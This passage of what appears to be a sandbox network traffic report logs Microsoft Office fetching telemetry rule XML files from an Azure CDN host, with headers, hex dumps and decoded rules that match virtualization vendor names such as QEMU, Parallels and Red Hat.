22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:26 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1b17855c-f01e-0099-1f6a-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164526Z-174c587ffdftv9hphC1TEBm29w0000000350000000007uue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:26 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:27 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cf2b2526-c01e-0082-5660-3baf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164527Z-178bfbc474bfw4gbhC1NYCunf400000004v0000000000a13 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:27 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:26 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:27 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 19a81fd9-501e-0078-66bc-3b06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164527Z-15b8b599d889fz52hC1TEB59as0000000380000000003vc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:27 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:27 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:28 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164528Z-174c587ffdfgcs66hC1TEB69cs00000002y000000000rmnn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:28 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:27 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164528Z-174c587ffdfn4nhwhC1TEB2nbc000000039g00000000a4sp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:28 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:29 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164529Z-174c587ffdfb5q56hC1TEB04kg000000034g000000009dwc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:29 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:29 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 390d82dd-f01e-0071-4371-3c431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164529Z-174c587ffdfb74xqhC1TEBhabc0000000380000000006dvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 16:45:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:29 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 957844e9-801e-008c-4868-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164529Z-178bfbc474b9fdhphC1NYCac0n00000004hg00000000n0xk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:30 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:30 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: edaf41ae-201e-0051-5e49-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164530Z-174c587ffdf9xbcchC1TEBxkz4000000032g0000000095se x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:30 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:30 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 8d96ff29-301e-0020-36b1-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164530Z-15b8b599d88f9wfchC1TEBm2kc00000003a000000000ac18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:31 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:31 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 1a8bda6d-001e-002b-2468-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164531Z-178bfbc474bmqmgjhC1NYCy16c00000004u00000000089ve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:31 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:31 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 00606c4f-d01e-0014-08c3-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164531Z-15b8b599d882hxlwhC1TEBfa5w000000031g00000000ec07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
